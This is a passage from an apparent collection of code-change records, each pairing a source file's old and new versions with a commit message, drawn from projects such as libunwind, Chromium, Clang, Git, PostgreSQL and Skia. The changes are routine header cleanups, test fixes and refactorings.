included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  */

#include "unwind_i.h"

HIDDEN int
x86_access_reg (struct cursor *c, unw_regnum_t reg, unw_word_t *valp,
		int write)
{
  struct x86_loc loc = X86_LOC (0, 0);

  switch (reg)
    {
    case UNW_X86_EIP:
      if (write)
	c->eip = *valp;		/* also update the EIP cache */
      loc = c->eip_loc;
      break;

    case UNW_X86_ESP:
      if (write)
	return -UNW_EREADONLYREG;
      *valp = c->esp;
      return 0;

    default:
      debug (1, "%s: bad register number %u\n", __FUNCTION__, reg);
      return -UNW_EBADREG;
    }

  if (write)
    return x86_put (c, loc, *valp);
  else
    return x86_get (c, loc, valp);
}

(x86_access_reg): Add a debug statement so accesses to bad register numbers
	can be seen with debugging enabled.

(Logical change 1.81)


// Copyright (c) 2009 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef NET_FLIP_FLIP_BITMASKS_H_
#define NET_FLIP_FLIP_BITMASKS_H_

namespace flip {

const int kStreamIdMask = 0x7fffffff;  // StreamId mask from the FlipHeader
const int kControlFlagMask = 0x8000;   // Control flag mask from the FlipHeader
const int kPriorityMask = 0xc0;        // Priority mask from the SYN_FRAME
const int kLengthMask = 0xffffff;      // Mask the lower 24 bits.

}  // flip

#endif  // NET_FLIP_FLIP_BITMASKS_H_

// Copyright (c) 2009 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef NET_FLIP_FLIP_BITMASKS_H_
#define NET_FLIP_FLIP_BITMASKS_H_

namespace flip {

const unsigned int kStreamIdMask = 0x7fffffff;  // StreamId mask from the FlipHeader
const unsigned int kControlFlagMask = 0x8000;   // Control flag mask from the FlipHeader
const unsigned int kPriorityMask = 0xc0;        // Priority mask from the SYN_FRAME
const unsigned int kLengthMask = 0xffffff;      // Mask the lower 24 bits.

}  // flip

#endif  // NET_FLIP_FLIP_BITMASKS_H_

Fix signed vs unsigned issue

linux: Fix signed vs unsigned issue

Review URL: http://codereview.chromium.org/297015

git-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@30099 0039d316-1c4b-4281-b951-d872f2087c98


//
//  OCHamcrest - HCIsNil.h
//  Copyright 2011 hamcrest.org. See LICENSE.txt
//
//  Created by: Jon Reid
//

#import <OCHamcrest/HCBaseMatcher.h>

/**
    Is the value @c nil?

    @b Factory: @ref nilValue, @ref notNilValue
    @ingroup object_matchers
*/
@interface HCIsNil : HCBaseMatcher

+ (id)isNil;

@end

#pragma mark -

/**
    Matches if the value is @c nil.

    @b Synonym: @ref nilValue
    @see HCIsNil
    @ingroup object_matchers
 */
OBJC_EXPORT id<HCMatcher> HC_nilValue();

/**
    Matches if the value is @c nil.

    Synonym for @ref HC_nilValue, available if @c HC_SHORTHAND is defined.
    @see HCIsNil
    @ingroup object_matchers
 */
#ifdef HC_SHORTHAND
    #define nilValue()  HC_nilValue()
#endif

/**
    Matches if the value is not @c nil.

    @b Synonym: @ref notNilValue
    @see HCIsNil
    @see HCIsNot
    @ingroup object_matchers
 */
OBJC_EXPORT id<HCMatcher> HC_notNilValue();

/**
    Matches if the value is not @c nil.

    Synonym for @ref HC_notNilValue, available if @c HC_SHORTHAND is defined.
    @see HCIsNil
    @see HCIsNot
    @ingroup object_matchers
 */
#ifdef HC_SHORTHAND
    #define notNilValue()  HC_notNilValue()
#endif

//
//  OCHamcrest - HCIsNil.h
//  Copyright 2011 hamcrest.org. See LICENSE.txt
//
//  Created by: Jon Reid
//

#import <OCHamcrest/HCBaseMatcher.h>

@interface HCIsNil : HCBaseMatcher

+ (id)isNil;

@end

OBJC_EXPORT id<HCMatcher> HC_nilValue();

/**
    Matches if the value is @c nil.

    In the event of a name clash, don't \#define @c HC_SHORTHAND and use the synonym
    @c HC_nilValue instead.

    @ingroup object_matchers
 */
#ifdef HC_SHORTHAND
    #define nilValue()  HC_nilValue()
#endif

OBJC_EXPORT id<HCMatcher> HC_notNilValue();

/**
    Matches if the value is not @c nil.

    In the event of a name clash, don't \#define @c HC_SHORTHAND and use the synonym
    @c HC_notNilValue instead.

    @ingroup object_matchers
 */
#ifdef HC_SHORTHAND
    #define notNilValue()  HC_notNilValue()
#endif

Simplify docs for nilValue / notNilValue


#ifndef _PACKETQUEUE_H
#define _PACKETQUEUE_H 1

#include <libsvc/thread.h>
#include <libsvc/transport.h>
#include <pthread.h>
#include <stdlib.h>
#include <stdint.h>

typedef struct pktbuf_s {
    uint8_t pkt[4096];
} pktbuf;

typedef struct packetqueue_s {
    thread               super;
    pthread_mutexattr_t  mattr;
    pthread_mutex_t      mutex;
    pthread_cond_t       cond;
    intransport         *trans;
    pktbuf              *buffer;
    size_t               sz;
    volatile size_t      rpos;
    volatile size_t      wpos;
} packetqueue;

thread *packetqueue_create (size_t qcount, intransport *producer);

#endif

#ifndef _PACKETQUEUE_H
#define _PACKETQUEUE_H 1

#include <libsvc/thread.h>
#include <libsvc/transport.h>
#include <pthread.h>
#include <stdlib.h>
#include <stdint.h>

typedef struct pktbuf_s {
    uint8_t                  pkt[4096];
    struct sockaddr_storage  addr;
} pktbuf;

typedef struct packetqueue_s {
    thread               super;
    pthread_mutexattr_t  mattr;
    pthread_mutex_t      mutex;
    pthread_cond_t       cond;
    intransport         *trans;
    pktbuf              *buffer;
    size_t               sz;
    volatile size_t      rpos;
    volatile size_t      wpos;
} packetqueue;

thread *packetqueue_create (size_t qcount, intransport *producer);

#endif

Extend the packet ringbuffer to have address stamps


/*
MIT License

Copyright (c) 2017 Eren Okka

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/

#pragma once

#include <memory>

#include <windows.h>

namespace anisthesia {
namespace win {

struct HandleDeleter {
  using pointer = HANDLE;
  void operator()(HANDLE handle) { ::CloseHandle(handle); }
};

using Handle = std::unique_ptr<HANDLE, HandleDeleter>;

}  // namespace win
}  // namespace anisthesia

/*
MIT License

Copyright (c) 2017 Eren Okka

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/

#pragma once

#include <memory>
#include <type_traits>

#include <windows.h>

namespace anisthesia {
namespace win {

struct HandleDeleter {
  using pointer = HANDLE;
  void operator()(pointer p) const { ::CloseHandle(p); }
};

using Handle = std::unique_ptr<HANDLE, HandleDeleter>;

////////////////////////////////////////////////////////////////////////////////

template <typename T>
struct ComInterfaceDeleter {
  static_assert(std::is_base_of<IUnknown, T>::value, "Invalid COM interface");
  using pointer = T*;
  void operator()(pointer p) const { if (p) p->Release(); }
};

template <typename T>
using ComInterface = std::unique_ptr<T, ComInterfaceDeleter<T>>;

}  // namespace win
}  // namespace anisthesia

Add smart pointer for COM interfaces

Add smart pointer for COM interfaces


// RUN: %clang_cc1 -triple x86_64-darwin-apple -g -emit-llvm -o - %s | FileCheck %s
// Radar 9199234

int bar();
int foo(int i) {
	int j = 0;
	if (i) {
		j = bar();
//CHECK: store i32
//CHECK-NOT:  br label %{{%[a-zA-Z0-9\.]+}}, !dbg
	}
	else
	{
		j = bar() + 2;
	}
	return j;
}

// RUN: %clang_cc1 -triple x86_64-darwin-apple -g -emit-llvm -o - %s | FileCheck %s
// Radar 9199234

int bar();
int foo(int i) {
	int j = 0;
	if (i) {
		j = bar();
	}
	else
	{
//CHECK: store i32 %add
//CHECK-NOT:  br label %{{[a-zA-Z0-9\.]+}}, !dbg
		j = bar() + 2;
	}
	return j;
}

Fix regexp for this test to properly check.

Patch by Eli Bendersky.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@160385 91177308-0d34-0410-b5e6-96231b3b80d8


// Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.
#pragma once

#include <vespa/vdslib/container/searchresult.h>
#include <vespa/documentapi/messagebus/messages/visitor.h>

namespace documentapi {

class SearchResultMessage : public VisitorMessage,
                            public vdslib::SearchResult {
protected:
    // Implements VisitorMessage.
    DocumentReply::UP doCreateReply() const;

public:
    /**
     * Convenience typedefs.
     */
    typedef std::unique_ptr<SearchResultMessage> UP;
    typedef std::shared_ptr<SearchResultMessage> SP;

    /**
     * Constructs a new search result message for deserialization.
     */
    SearchResultMessage();

    /**
     * Constructs a new search result message for the given search result.
     *
     * @param result The result to set.
     */
    SearchResultMessage(const vdslib::SearchResult &result);

    // Overrides VisitorMessage.
    uint32_t getApproxSize() const;

    // Implements VisitorMessage.
    uint32_t getType() const;

    string toString() const { return "searchresultmessage"; }
};

}

// Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.
#pragma once

#include "visitor.h"
#include <vespa/vdslib/container/searchresult.h>

namespace documentapi {

class SearchResultMessage : public VisitorMessage,
                            public vdslib::SearchResult {
protected:
    DocumentReply::UP doCreateReply() const override;

public:
    /**
     * Convenience typedefs.
     */
    typedef std::unique_ptr<SearchResultMessage> UP;
    typedef std::shared_ptr<SearchResultMessage> SP;

    /**
     * Constructs a new search result message for deserialization.
     */
    SearchResultMessage();

    /**
     * Constructs a new search result message for the given search result.
     *
     * @param result The result to set.
     */
    SearchResultMessage(const vdslib::SearchResult &result);

    uint32_t getApproxSize() const override;
    uint32_t getType() const override;
    string toString() const override { return "searchresultmessage"; }
};

}

Add the overrides and you are backin business.


#pragma once

// const float in a header file can lead to duplication of the storage
// but I don't really care in this case. Just don't do it with a header
// that is included hundreds of times.
const float kCurrentVersion = 1.50f;

// Put a "#define VERSION_SUFFIX 'b'" line here to add a minor version
// increment that won't trigger the new-version checks, handy for minor
// releases that I don't want to bother users about.
#define VERSION_SUFFIX 'b'

#pragma once

// const float in a header file can lead to duplication of the storage
// but I don't really care in this case. Just don't do it with a header
// that is included hundreds of times.
const float kCurrentVersion = 1.51f;

// Put a "#define VERSION_SUFFIX 'b'" line here to add a minor version
// increment that won't trigger the new-version checks, handy for minor
// releases that I don't want to bother users about.
//#define VERSION_SUFFIX 'b'

Increment version number from 1.50b to 1.51


#import <Foundation/Foundation.h>

FOUNDATION_EXPORT double NimbleVersionNumber;
FOUNDATION_EXPORT const unsigned char NimbleVersionString[];

#import <Foundation/Foundation.h>
#import <Nimble/NMBExceptionCapture.h>
#import <Nimble/DSL.h>

FOUNDATION_EXPORT double NimbleVersionNumber;
FOUNDATION_EXPORT const unsigned char NimbleVersionString[];

Revert "Remove public headers from umbrella header"

This reverts commit 7ab1093ffdf6adb66df1bf0799cfdbf34f136521.


#pragma once

#include <string>
#include <iostream>
#include <math.h>

#include "Standard.hxx"
#include "Standard_PrimitiveTypes.hxx"
#include "Standard_Stream.hxx"
#include "Standard_Failure.hxx"
#include "Standard_Transient.hxx"

#ifdef USE_STL_STREAM
#include <sstream>
#else /* USE_STL_STREAM */
#ifdef WNT
#include <strstrea.h>
#else
#include <strstream.h>
#endif
#endif

Remove obsolete includes in TKernel precompiled


/** @file
  DataHubProducer.h include all GUID definition for producer

  Copyright (c) 2007, Intel Corporation
  All rights reserved. This program and the accompanying materials
  are licensed and made available under the terms and conditions of the BSD License
  which accompanies this distribution.  The full text of the license may be found at
  http://opensource.org/licenses/bsd-license.php

  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.

  Module Name:

  @par Revision Reference:
  These GUID are from Cache subclass spec 0.9, DataHub SubClass spec 0.9, Memory SubClass Spec 0.9,
  Processor Subclass spec 0.9, Misc SubClass spec 0.9.

**/

#ifndef _DATAHUB_PRODUCER_H_
#define _DATAHUB_PRODUCER_H_

#define EFI_PROCESSOR_PRODUCER_GUID \
  { 0x1bf06aea, 0x5bec, 0x4a8d, {0x95, 0x76, 0x74, 0x9b, 0x09, 0x56, 0x2d, 0x30 } }

extern  EFI_GUID gEfiProcessorProducerGuid;

#define EFI_MEMORY_PRODUCER_GUID \
  { 0x1d7add6e, 0xb2da, 0x4b0b, {0xb2, 0x9f, 0x49, 0xcb, 0x42, 0xf4, 0x63, 0x56 } }

extern  EFI_GUID gEfiMemoryProducerGuid;

#define EFI_MISC_PRODUCER_GUID \
  { 0x62512c92, 0x63c4, 0x4d80, {0x82, 0xb1, 0xc1, 0xa4, 0xdc, 0x44, 0x80, 0xe5 } }

extern  EFI_GUID gEfiMiscProducerGuid;

#endif

Move some datahub producer GUID from IntelFrameworkPkg to IntelFrameworkModulePkg.

git-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@3654 6f19259b-4bc3-4df7-8a09-765794883524


//
//  OCATransformer.h
//  Objective-Chain
//
//  Created by Martin Kiss on 31.12.13.
//  Copyright © 2014 Martin Kiss. All rights reserved.
//

#import "OCATransformer+Base.h"
#import "OCATransformer+Nil.h"
#import "OCATransformer+Predefined.h"

//
//  OCATransformer.h
//  Objective-Chain
//
//  Created by Martin Kiss on 31.12.13.
//  Copyright © 2014 Martin Kiss. All rights reserved.
//

#import "OCATransformer+Base.h"
#import "OCATransformer+Predefined.h"

Fix import of removed file

Fix import of removed file


#ifndef KMEM_H
#define KMEM_H
#include <stdbool.h>
#include <stdint.h>
#include <arch/x86/paging.h>
#include <libk/kabort.h>

#define KHEAP_PHYS_ROOT ((void*)0x100000)
//#define KHEAP_PHYS_END  ((void*)0xc1000000)
#define KHEAP_END_SENTINEL (NULL)

#define KHEAP_BLOCK_SLOP 32

struct kheap_metadata {
    size_t size;
    struct kheap_metadata *next;
    bool is_free;
};

struct kheap_metadata *root;

struct kheap_metadata *kheap_init();

int kheap_extend();
void kheap_install(struct kheap_metadata *root, size_t initial_heap_size);
void *kmalloc(size_t bytes);
void kfree(void *mem);
void kheap_defragment();
#endif

#ifndef KMEM_H
#define KMEM_H
#include <stdbool.h>
#include <stdint.h>
#include <arch/x86/paging.h>
#include <arch/x86/memlayout.h>
#include <libk/kabort.h>

// KHEAP_PHYS_ROOT is defined in memlayout.h because it is architecture
// specific.
#define KHEAP_END_SENTINEL (NULL)

#define KHEAP_BLOCK_SLOP 32

struct kheap_metadata {
    size_t size;
    struct kheap_metadata *next;
    bool is_free;
};

struct kheap_metadata *root;

struct kheap_metadata *kheap_init();

int kheap_extend();
void kheap_install(struct kheap_metadata *root, size_t initial_heap_size);
void *kmalloc(size_t bytes);
void kfree(void *mem);
void kheap_defragment();
#endif

Move KHEAP macros into memlayout.h

Move KHEAP macros into memlayout.h

We should try to make this file architecture agnostic


/*-------------------------------------------------------------------------
 *
 * be-fsstubs.h--
 *
 *
 *
 * Copyright (c) 1994, Regents of the University of California
 *
 * $Id: be-fsstubs.h,v 1.1 1996/08/28 07:22:56 scrappy Exp $
 *
 *-------------------------------------------------------------------------
 */
#ifndef	BE_FSSTUBS_H
#define	BE_FSSTUBS_H

extern Oid lo_import(text *filename);
extern int4 lo_export(Oid lobjId, text *filename);

extern Oid lo_creat(int mode);

extern int lo_open(Oid lobjId, int mode);
extern int lo_close(int fd);
extern int lo_read(int fd, char *buf, int len);
extern int lo_write(int fd, char *buf, int len);
extern int lo_lseek(int fd, int offset, int whence);
extern int lo_tell(int fd);
extern int lo_unlink(Oid lobjId);

extern struct varlena *LOread(int fd, int len);
extern int LOwrite(int fd, struct varlena *wbuf);

#endif	/* BE_FSSTUBS_H */

/*-------------------------------------------------------------------------
 *
 * be-fsstubs.h--
 *
 *
 *
 * Copyright (c) 1994, Regents of the University of California
 *
 * $Id: be-fsstubs.h,v 1.2 1997/05/06 07:14:34 thomas Exp $
 *
 *-------------------------------------------------------------------------
 */
#ifndef	BE_FSSTUBS_H
#define	BE_FSSTUBS_H

/* Redefine names LOread() and LOwrite() to be lowercase to allow calling
 *  using the new v6.1 case-insensitive SQL parser. Define macros to allow
 *  the existing code to stay the same. - tgl 97/05/03
 */

#define LOread(f,l) loread(f,l)
#define LOwrite(f,b) lowrite(f,b)

extern Oid lo_import(text *filename);
extern int4 lo_export(Oid lobjId, text *filename);

extern Oid lo_creat(int mode);

extern int lo_open(Oid lobjId, int mode);
extern int lo_close(int fd);
extern int lo_read(int fd, char *buf, int len);
extern int lo_write(int fd, char *buf, int len);
extern int lo_lseek(int fd, int offset, int whence);
extern int lo_tell(int fd);
extern int lo_unlink(Oid lobjId);

extern struct varlena *loread(int fd, int len);
extern int lowrite(int fd, struct varlena *wbuf);

#endif	/* BE_FSSTUBS_H */

Rename LOread() and LOwrite() to be lower case to allow use in case-insensitive SQL. Define LOread() and LOwrite() as macros to avoid having to update calls everywhere.


#include <assert.h>
#include <stdlib.h>

int main(){
    char* str = "Hello";
    char* str2 = "Hello";
    char* str3 = "hi";
    char* str4 = "other string";

    // Unknown since the there may be multiple copies of the same string
    __goblint_check(str != str2); // UNKNOWN!

    __goblint_check(str == str);
    __goblint_check(str != str3);

    char *ptr = NULL;
    int top = rand();

    if(top){
        ptr = str2;
    } else {
        ptr = str3;
    }
    __goblint_check(*ptr == *str); //UNKNOWN

    // This is unknwon due to only keeping one string pointer in abstract address sets
    __goblint_check(*ptr == *str4); //UNKNOWN

    return 0;
}

#include <assert.h>
#include <stdlib.h>

int main(){
    char* str = "Hello";
    char* str2 = "Hello";
    char* str3 = "hi";
    char* str4 = "other string";

    // Unknown since the there may be multiple copies of the same string
    __goblint_check(str != str2); // UNKNOWN!

    __goblint_check(str == str);
    __goblint_check(str != str3);

    char *ptr = NULL;
    int top = rand();

    if(top){
        ptr = str2;
    } else {
        ptr = str3;
    }
    __goblint_check(*ptr == *str); //UNKNOWN

    // This is unknwon due to only keeping one string pointer in abstract address sets
    __goblint_check(*ptr == *str4); //UNKNOWN

    char *ptr2 = unknown_function();

    __goblint_check(ptr == ptr2); //UNKNOWN
    __goblint_check(ptr2 == str); //UNKNOWN

    return 0;
}

Add checks to regression tests that unknown pointers and string pointers may be equal


/*
 * Copyright 2014 The Android Open Source Project
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#ifndef SkBlitRow_opts_SSE4_DEFINED
#define SkBlitRow_opts_SSE4_DEFINED

#include "SkBlitRow.h"

/* Check if we are able to build assembly code, GCC/AT&T syntax.
 * Had problems with LLVM-GCC 4.2.
 */
#if defined(__clang__) || (defined(__GNUC__) && !defined(SK_BUILD_FOR_MAC))
extern "C" void S32A_Opaque_BlitRow32_SSE4_asm(SkPMColor* SK_RESTRICT dst,
                                               const SkPMColor* SK_RESTRICT src,
                                               int count, U8CPU alpha);

#define SK_ATT_ASM_SUPPORTED
#endif

#endif

/*
 * Copyright 2014 The Android Open Source Project
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#ifndef SkBlitRow_opts_SSE4_DEFINED
#define SkBlitRow_opts_SSE4_DEFINED

#include "SkBlitRow.h"

/* Check if we are able to build assembly code, GCC/AT&T syntax.
 * Had problems with LLVM-GCC 4.2.
 * MemorySanitizer cannot handle assembly code.
 */
#if (defined(__clang__) || (defined(__GNUC__) && !defined(SK_BUILD_FOR_MAC))) \
    && !defined(MEMORY_SANITIZER)
extern "C" void S32A_Opaque_BlitRow32_SSE4_asm(SkPMColor* SK_RESTRICT dst,
                                               const SkPMColor* SK_RESTRICT src,
                                               int count, U8CPU alpha);

#define SK_ATT_ASM_SUPPORTED
#endif

#endif

Disable assembly code in MemorySanitizer builds.

MemorySanitizer is an unitialized memory use detector which is used in
Chromium, and does not presently support assembly code.

BUG=chromium:344505, chromium:373739
R=mtklein@google.com

Review URL: https://codereview.chromium.org/367973005


#pragma once
#include <Eigen/Dense>

namespace model {
#if BICYCLE_USE_DOUBLE_PRECISION_REAL
using real_t = double;
#else
using real_t = float;
#endif
} // namespace model

#pragma once

namespace model {
#if BICYCLE_USE_DOUBLE_PRECISION_REAL
using real_t = double;
#else
using real_t = float;
#endif
} // namespace model

Remove Eigen/Dense include in type header


#ifndef UNPACK_TREES_H
#define UNPACK_TREES_H

#define MAX_UNPACK_TREES 8

struct unpack_trees_options;

typedef int (*merge_fn_t)(struct cache_entry **src,
		struct unpack_trees_options *options);

struct unpack_trees_options {
	int reset;
	int merge;
	int update;
	int index_only;
	int nontrivial_merge;
	int trivial_merges_only;
	int verbose_update;
	int aggressive;
	int skip_unmerged;
	int gently;
	const char *prefix;
	int pos;
	struct dir_struct *dir;
	merge_fn_t fn;

	int head_idx;
	int merge_size;

	struct cache_entry *df_conflict_entry;
	void *unpack_data;

	struct index_state *dst_index;
	const struct index_state *src_index;
	struct index_state result;
};

extern int unpack_trees(unsigned n, struct tree_desc *t,
		struct unpack_trees_options *options);

int threeway_merge(struct cache_entry **stages, struct unpack_trees_options *o);
int twoway_merge(struct cache_entry **src, struct unpack_trees_options *o);
int bind_merge(struct cache_entry **src, struct unpack_trees_options *o);
int oneway_merge(struct cache_entry **src, struct unpack_trees_options *o);

#endif

#ifndef UNPACK_TREES_H
#define UNPACK_TREES_H

#define MAX_UNPACK_TREES 8

struct unpack_trees_options;

typedef int (*merge_fn_t)(struct cache_entry **src,
		struct unpack_trees_options *options);

struct unpack_trees_options {
	unsigned int reset:1,
		     merge:1,
		     update:1,
		     index_only:1,
		     nontrivial_merge:1,
		     trivial_merges_only:1,
		     verbose_update:1,
		     aggressive:1,
		     skip_unmerged:1,
		     gently:1;
	const char *prefix;
	int pos;
	struct dir_struct *dir;
	merge_fn_t fn;

	int head_idx;
	int merge_size;

	struct cache_entry *df_conflict_entry;
	void *unpack_data;

	struct index_state *dst_index;
	const struct index_state *src_index;
	struct index_state result;
};

extern int unpack_trees(unsigned n, struct tree_desc *t,
		struct unpack_trees_options *options);

int threeway_merge(struct cache_entry **stages, struct unpack_trees_options *o);
int twoway_merge(struct cache_entry **src, struct unpack_trees_options *o);
int bind_merge(struct cache_entry **src, struct unpack_trees_options *o);
int oneway_merge(struct cache_entry **src, struct unpack_trees_options *o);

#endif

Make unpack_trees_options bit flags actual bitfields

Instead of wasting space with whole integers for a single bit.

Signed-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>
Signed-off-by: Junio C Hamano <a6723cc3f76163bf7adb636a73ac3b0ceb3e6b9b@pobox.com>


reference(citation): URLcheck
If [ $$stopFileNameCheck = 1 ]
Exit Script [ ]
End If
If [ Filter ( reference::ﬁleName ; "?" ) = "?" or
Filter ( reference::ﬁleName ; "#" ) = "#" or
Filter ( reference::ﬁleName ; ";" ) = ";" or
Filter ( reference::ﬁleName ; ":" ) = ":" ]
Show Custom Dialog [ Message: "These special characters ? # ; : prevent the system from opening ﬁles. Remove them from your ﬁlename and then test the 'ﬁle' button above to insure it opens your ﬁle."; Buttons: “OK” ]
Go to Field [ reference::ﬁleName ]
End If
January 7, 平成26 17:54:06 Imagination Quality Management.fp7 - URLcheck -1-

reference(citation): URLcheck
If [ $$stopFileNameCheck = 1 ]
Exit Script [ ]
End If
If [ Filter ( reference::ﬁleName ; "?" ) = "?" or
Filter ( reference::ﬁleName ; "#" ) = "#" or
Filter ( reference::ﬁleName ; ";" ) = ";" or
Filter ( reference::ﬁleName ; "/" ) = "/" or
Filter ( reference::ﬁleName ; ":" ) = ":" ]
Show Custom Dialog [ Message: "These special characters ? # / ; : prevent the system from opening ﬁles. Remove them from your ﬁlename and then test the 'ﬁle' button above to insure it opens your ﬁle."; Buttons: “OK” ]
Go to Field [ reference::ﬁleName ]
End If
April 26, 平成26 14:17:47 Imagination Quality Management.fp7 - URLcheck -1-

Add slash = / to warning message

Add slash = / to warning message

Add slash = / to warning message for file name character that prevent
library from opening them.


//
//  ApptentiveConversationMetadataItem.h
//  Apptentive
//
//  Created by Frank Schmitt on 2/20/17.
//  Copyright © 2017 Apptentive, Inc. All rights reserved.
//

#import <Foundation/Foundation.h>

typedef NS_ENUM(NSInteger, ApptentiveConversationState) {
	ApptentiveConversationStateNone = 0,
	ApptentiveConversationStateAnonymousPending,
	ApptentiveConversationStateAnonymous,
	ApptentiveConversationStateLoggedIn,
	ApptentiveConversationStateLoggedOut
};

@interface ApptentiveConversationMetadataItem : NSObject <NSSecureCoding>

- (instancetype)initWithConversationIdentifier:(NSString *)conversationIdentifier filename:(NSString *)filename;

@property (assign, nonatomic) ApptentiveConversationState state;
@property (strong, nonatomic) NSString *conversationIdentifier;
@property (strong, nonatomic) NSString *fileName;

@end

//
//  ApptentiveConversationMetadataItem.h
//  Apptentive
//
//  Created by Frank Schmitt on 2/20/17.
//  Copyright © 2017 Apptentive, Inc. All rights reserved.
//

#import <Foundation/Foundation.h>

typedef NS_ENUM(NSInteger, ApptentiveConversationState) {
	ApptentiveConversationStateUndefined = 0,
	ApptentiveConversationStateAnonymousPending,
	ApptentiveConversationStateAnonymous,
	ApptentiveConversationStateLoggedIn,
	ApptentiveConversationStateLoggedOut
};

@interface ApptentiveConversationMetadataItem : NSObject <NSSecureCoding>

- (instancetype)initWithConversationIdentifier:(NSString *)conversationIdentifier filename:(NSString *)filename;

@property (assign, nonatomic) ApptentiveConversationState state;
@property (strong, nonatomic) NSString *conversationIdentifier;
@property (strong, nonatomic) NSString *fileName;

@end

Update name of null state to match Android


// RUN: clang -checker-simple -verify %s

struct FPRec {
  void (*my_func)(int * x);
};

int bar(int x);

int f1_a(struct FPRec* foo) {
  int x;
  (*foo->my_func)(&x);
  return bar(x)+1; // no-warning
}

int f1_b() {
  int x;
  return bar(x)+1;  // expected-warning{{Pass-by-value argument in function is undefined.}}
}

int f2() {

  int x;

  if (x+1)  // expected-warning{{Branch}}
    return 1;

  return 2;
}

int f2_b() {
  int x;

  return ((x+1)+2+((x))) + 1 ? 1 : 2; // expected-warning{{Branch}}
}

int f3(void) {
  int i;
  int *p = &i;
  if (*p > 0) // expected-warning{{Branch condition evaluates to an uninitialized value}}
    return 0;
  else
    return 1;
}

// RUN: clang -checker-simple -verify %s &&
// RUN: clang -checker-simple -analyzer-store-region -verify %s

struct FPRec {
  void (*my_func)(int * x);
};

int bar(int x);

int f1_a(struct FPRec* foo) {
  int x;
  (*foo->my_func)(&x);
  return bar(x)+1; // no-warning
}

int f1_b() {
  int x;
  return bar(x)+1;  // expected-warning{{Pass-by-value argument in function is undefined.}}
}

int f2() {

  int x;

  if (x+1)  // expected-warning{{Branch}}
    return 1;

  return 2;
}

int f2_b() {
  int x;

  return ((x+1)+2+((x))) + 1 ? 1 : 2; // expected-warning{{Branch}}
}

int f3(void) {
  int i;
  int *p = &i;
  if (*p > 0) // expected-warning{{Branch condition evaluates to an uninitialized value}}
    return 0;
  else
    return 1;
}

Enable test file for 'region store' in addition to basic store.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59762 91177308-0d34-0410-b5e6-96231b3b80d8


#  define USE_POSIX_TIME
#  define USE_POSIX_SIGNALS
#  define NO_EMPTY_STMTS
#  define SYSV_DIRENT
#  define HAS_TEST_AND_SET
   typedef unsigned char slock_t;

#include <sys/isa_defs.h>

#ifndef		BIG_ENDIAN
#define		BIG_ENDIAN	4321
#endif
#ifndef		LITTLE_ENDIAN
#define		LITTLE_ENDIAN	1234
#endif
#ifndef		PDP_ENDIAN
#define		PDP_ENDIAN      3412
#endif
#ifndef		BYTE_ORDER
#define		BYTE_ORDER	LITTLE_ENDIAN
#endif

#ifndef         NAN

#ifndef         __nan_bytes
#define __nan_bytes             { 0, 0, 0, 0, 0, 0, 0xf8, 0x7f }
#endif /* __nan_bytes */

#ifdef          __GNUC__
#define NAN \
